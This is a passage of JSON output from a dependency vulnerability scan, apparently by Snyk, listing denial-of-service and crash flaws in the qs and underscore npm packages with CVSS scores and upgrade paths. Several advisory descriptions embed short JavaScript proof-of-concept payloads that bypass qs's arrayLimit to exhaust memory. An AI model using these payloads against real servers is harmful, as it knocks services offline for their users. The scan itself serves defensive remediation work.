"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "qs",
"references": [
{
"url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-02-13T05:44:36.413749Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-02-25T01:18:28.970240Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-11T09:15:24.566638Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-11T09:15:24.566638Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-02-13T05:44:36.413749Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-02-25T01:18:28.970240Z"
}
],
"description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseArrayValue` function when the `comma` option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.\r\n\r\n**Note:**\r\nThis is only exploitable if the `comma` option is explicitly set to true. `arrayLimit` is properly enforced for index and bracket notation.\n## PoC\n```js\r\nconst qs = require('qs');\r\n\r\nconst payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\r\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\r\n\r\ntry {\r\n const result = qs.parse(payload, options);\r\n console.log(result.a.length); // Outputs: 26 (bypass successful)\r\n} catch (e) {\r\n console.log('Limit enforced:', e.message); // Not thrown\r\n}\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.2 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482)\n",
"epssDetails": {
"percentile": "0.43894",
"probability": "0.00542",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-2391"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-w7fw-mjwx-w883"
]
},
"packageName": "qs",
"proprietary": false,
"creationTime": "2026-02-12T07:33:26.992101Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-02-12T05:20:07Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-02-12T08:09:30.892673Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-11T09:15:24.566638Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"express@4.21.2",
"qs@6.13.0"
],
"upgradePath": [
false,
"express@4.22.0",
"qs@6.14.2"
],
"isUpgradable": true,
"isPatchable": false,
"name": "qs",
"version": "6.13.0"
},
{
"id": "SNYK-JS-QS-20943482",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"manus-pi",
"Lucidsec"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.16.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.16.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "qs",
"references": [
{
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Uncaught Exception via `stringify` when `arrayFormat: 'comma'` is used with array elements that have a non-callable `toString` property. Such elements - as produced by `JSON.parse`, or by `qs.parse` under `allowPrototypes` or `plainObjects` (which yields null-prototype objects) - cause `Array.prototype.join` or `utils.encode` to throw a `TypeError: Cannot convert object to primitive value`, crashing the process.\r\n\r\n**Note:** This is only exploitable if the `arrayFormat: 'comma'` option is explicitly set.\n## Remediation\nUpgrade `qs` to version 6.16.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw)\n- [GitHub Commit](https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727)\n",
"epssDetails": {
"percentile": "0.21635",
"probability": "0.00304",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-110816"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-6pq8-jhm2-2vcw"
]
},
"packageName": "qs",
"proprietary": false,
"creationTime": "2026-10-15T06:11:06.044323Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-14T23:32:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-15T06:11:06.216040Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:05:41.188403Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"express@4.21.2",
"qs@6.13.0"
],
"upgradePath": [
false,
"express@4.22.3",
"qs@6.16.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "qs",
"version": "6.13.0"
},
{
"id": "SNYK-JS-QS-14724253",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Samip Mainali"
],
"semver": {
"vulnerable": [
"<6.14.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.14.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "qs",
"references": [
{
"url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-01-01T09:28:08.542339Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:10:18.462410Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:10:18.462410Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-01-01T09:28:08.542339Z"
}
],
"description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the `arrayLimit` option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like `a[]=1&a[]=2` - in a single HTTP request.\n## PoC\n```js\r\n\r\nconst qs = require('qs');\r\nconst attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');\r\nconst result = qs.parse(attack, { arrayLimit: 100 });\r\nconsole.log(result.a.length); // Output: 10000 (should be max 100)\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9)\n",
"epssDetails": {
"percentile": "0.36350",
"probability": "0.00450",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2025-15284"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-6rw7-vpxm-498p"
]
},
"packageName": "qs",
"proprietary": false,
"creationTime": "2025-12-30T09:09:30.571348Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2025-12-30T00:01:56Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2025-12-30T09:31:30.575510Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:10:18.462410Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"express@4.21.2",
"body-parser@1.20.3",
"qs@6.13.0"
],
"upgradePath": [
false,
"express@4.22.0",
"body-parser@1.20.8",
"qs@6.16.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "qs",
"version": "6.13.0"
},
{
"id": "SNYK-JS-QS-15268416",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"SharokhAtaie"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.14.2"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.14.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "qs",
"references": [
{
"url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-02-13T05:44:36.413749Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-02-25T01:18:28.970240Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-11T09:15:24.566638Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-11T09:15:24.566638Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-02-13T05:44:36.413749Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-02-25T01:18:28.970240Z"
}
],
"description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseArrayValue` function when the `comma` option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.\r\n\r\n**Note:**\r\nThis is only exploitable if the `comma` option is explicitly set to true. `arrayLimit` is properly enforced for index and bracket notation.\n## PoC\n```js\r\nconst qs = require('qs');\r\n\r\nconst payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\r\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\r\n\r\ntry {\r\n const result = qs.parse(payload, options);\r\n console.log(result.a.length); // Outputs: 26 (bypass successful)\r\n} catch (e) {\r\n console.log('Limit enforced:', e.message); // Not thrown\r\n}\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.2 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482)\n",
"epssDetails": {
"percentile": "0.43894",
"probability": "0.00542",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-2391"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-w7fw-mjwx-w883"
]
},
"packageName": "qs",
"proprietary": false,
"creationTime": "2026-02-12T07:33:26.992101Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-02-12T05:20:07Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-02-12T08:09:30.892673Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-11T09:15:24.566638Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"express@4.21.2",
"body-parser@1.20.3",
"qs@6.13.0"
],
"upgradePath": [
false,
"express@4.22.0",
"body-parser@1.20.8",
"qs@6.16.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "qs",
"version": "6.13.0"
},
{
"id": "SNYK-JS-QS-20943482",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"manus-pi",
"Lucidsec"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.16.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.16.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "qs",
"references": [
{
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Uncaught Exception via `stringify` when `arrayFormat: 'comma'` is used with array elements that have a non-callable `toString` property. Such elements - as produced by `JSON.parse`, or by `qs.parse` under `allowPrototypes` or `plainObjects` (which yields null-prototype objects) - cause `Array.prototype.join` or `utils.encode` to throw a `TypeError: Cannot convert object to primitive value`, crashing the process.\r\n\r\n**Note:** This is only exploitable if the `arrayFormat: 'comma'` option is explicitly set.\n## Remediation\nUpgrade `qs` to version 6.16.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw)\n- [GitHub Commit](https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727)\n",
"epssDetails": {
"percentile": "0.21635",
"probability": "0.00304",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-110816"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-6pq8-jhm2-2vcw"
]
},
"packageName": "qs",
"proprietary": false,
"creationTime": "2026-10-15T06:11:06.044323Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-14T23:32:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-15T06:11:06.216040Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:05:41.188403Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"express@4.21.2",
"body-parser@1.20.3",
"qs@6.13.0"
],
"upgradePath": [
false,
"express@4.22.0",
"body-parser@1.20.8",
"qs@6.16.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "qs",
"version": "6.13.0"
},
{
"id": "SNYK-JS-UNDERSCORE-15369786",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<1.13.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.13.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "underscore",
"references": [
{
"url": "https://github.com/jashkenas/underscore/commit/411e222eb0ca5d570cc4f6315c02c05b830ed2b4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/jashkenas/underscore/commit/a6e23ae9647461ec33ad9f92a2ecfc220eea0a84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/jashkenas/underscore/issues/3011",
"title": "GitHub Issue"
},
{
"url": "https://underscorejs.org/%231.13.8",
"title": "Release Notes"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-04-29T01:14:07.932185Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-03-05T10:42:06.732137Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-30T14:04:31.525835Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-30T14:04:31.525835Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-04-29T01:14:07.932185Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-03-05T10:42:06.732137Z"
}
],
"description": "## Overview\n[underscore](https://www.npmjs.org/package/underscore) is a JavaScript's functional programming helper library.\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion through the `_.flatten()` or `_.isEqual()` functions that are used without a depth limit. An attacker can cause the application to crash or become unresponsive by supplying deeply nested data structures as input, leading to stack exhaustion.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by enforcing a depth limit on data structures created from untrusted input (e.g., limiting nesting to 1000 levels or fewer), or by passing a finite depth limit as the second argument to the `_.flatten()` function.\n## Remediation\nUpgrade `underscore` to version 1.13.8 or higher.\n## References\n- [GitHub Commit](https://github.com/jashkenas/underscore/commit/411e222eb0ca5d570cc4f6315c02c05b830ed2b4)\n- [GitHub Commit](https://github.com/jashkenas/underscore/commit/a6e23ae9647461ec33ad9f92a2ecfc220eea0a84)\n- [GitHub Issue](https://github.com/jashkenas/underscore/issues/3011)\n- [Release Notes](https://underscorejs.org/#1.13.8)\n",
"epssDetails": {
"percentile": "0.62202",
"probability": "0.01025",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-27601"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qpx9-hpmf-5gmw"
]
},
"packageName": "underscore",
"proprietary": false,
"creationTime": "2026-03-03T19:22:56.151818Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-03T17:46:06Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-03T19:22:56.337552Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-30T14:04:31.525835Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"underscore@1.13.7"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"underscore@1.13.8"
],
"isUpgradable": true,
"isPatchable": false,
"name": "underscore",
"version": "1.13.7"
},
{
"id": "SNYK-JS-UNDERSCORE-15369786",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<1.13.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.13.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "underscore",
"references": [
{
"url": "https://github.com/jashkenas/underscore/commit/411e222eb0ca5d570cc4f6315c02c05b830ed2b4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/jashkenas/underscore/commit/a6e23ae9647461ec33ad9f92a2ecfc220eea0a84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/jashkenas/underscore/issues/3011",
"title": "GitHub Issue"
},
{
"url": "https://underscorejs.org/%231.13.8",
"title": "Release Notes"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-04-29T01:14:07.932185Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-03-05T10:42:06.732137Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-30T14:04:31.525835Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-30T14:04:31.525835Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-04-29T01:14:07.932185Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-03-05T10:42:06.732137Z"
}
],
"description": "## Overview\n[underscore](https://www.npmjs.org/package/underscore) is a JavaScript's functional programming helper library.\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion through the `_.flatten()` or `_.isEqual()` functions that are used without a depth limit. An attacker can cause the application to crash or become unresponsive by supplying deeply nested data structures as input, leading to stack exhaustion.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by enforcing a depth limit on data structures created from untrusted input (e.g., limiting nesting to 1000 levels or fewer), or by passing a finite depth limit as the second argument to the `_.flatten()` function.\n## Remediation\nUpgrade `underscore` to version 1.13.8 or higher.\n## References\n- [GitHub Commit](https://github.com/jashkenas/underscore/commit/411e222eb0ca5d570cc4f6315c02c05b830ed2b4)\n- [GitHub Commit](https://github.com/jashkenas/underscore/commit/a6e23ae9647461ec33ad9f92a2ecfc220eea0a84)\n- [GitHub Issue](https://github.com/jashkenas/underscore/issues/3011)\n- [Release Notes](https://underscorejs.org/#1.13.8)\n",
"epssDetails": {
"percentile": "0.62202",
"probability": "0.01025",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-27601"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qpx9-hpmf-5gmw"
]
},
"packageName": "underscore",
"proprietary": false,
"creationTime": "2026-03-03T19:22:56.151818Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-03T17:46:06Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-03T19:22:56.337552Z",
"severityBasedOn": "CVSS",
